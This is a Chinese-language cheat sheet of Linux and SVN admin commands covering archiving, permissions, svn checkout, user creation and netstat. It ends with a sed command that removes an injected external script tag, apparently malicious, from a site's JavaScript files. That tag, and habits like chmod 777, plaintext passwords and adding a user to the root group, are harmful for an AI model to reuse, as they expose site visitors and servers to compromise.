解壓:unzip FileName.zip
tar zxvf test.tgz -C 指定目錄
壓縮:zip FileName.zip DirName
修改目錄權限:chmod 777 Runtime/
chown指令更改檔案擁有者:-R : 進行遞歸( recursive )的持續更改,即連同子目錄下的所有檔案、目錄
chown [-R] 賬号名稱 檔案或目錄
chown [-R] 賬号名稱:使用者組名稱 檔案或目錄
du -sh /system_dntb 檢視檔案或者目錄占用磁盤大小
svn:
svn清理:svn cleanup
svn更新:/usr/bin/svn update --usern[email protected] --password=10086 /www/wwwroot/test
svn的檢出:/usr/bin/svn checkout svn://gitee.com/wlphp/test ./ --username [email protected] --password 10086
svn建立倉庫:svnadmin create /test/svnrepos/web2
svn開啟服務: svnserve -d -r /test/svnrepos --listen-port 9527
curl:
curl -c /tmp/cookies -d "username=qwertyu&password=asdfghj" "http://39.105.195.211:8888/login"
centos建立賬号:
useradd test1
設定密碼:
passwd test1
設定管理者root組:
usermod -G root test1
檢視系統版本
centos:cat /etc/redhat-release
centos或者ubuntu: lsb_release -a
服務與端口
netstat -anplt|grep sshd
netstat -anplt|grep 22
centos7批量替換檔案裡面的固定字元串:
find /www/wwwroot/ -type f -name '*.js'|xargs sed -i "s#document.write('<script src=\"http://t.cn/EvlonFh\"></script><script>OMINEId(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\")</script>');##g"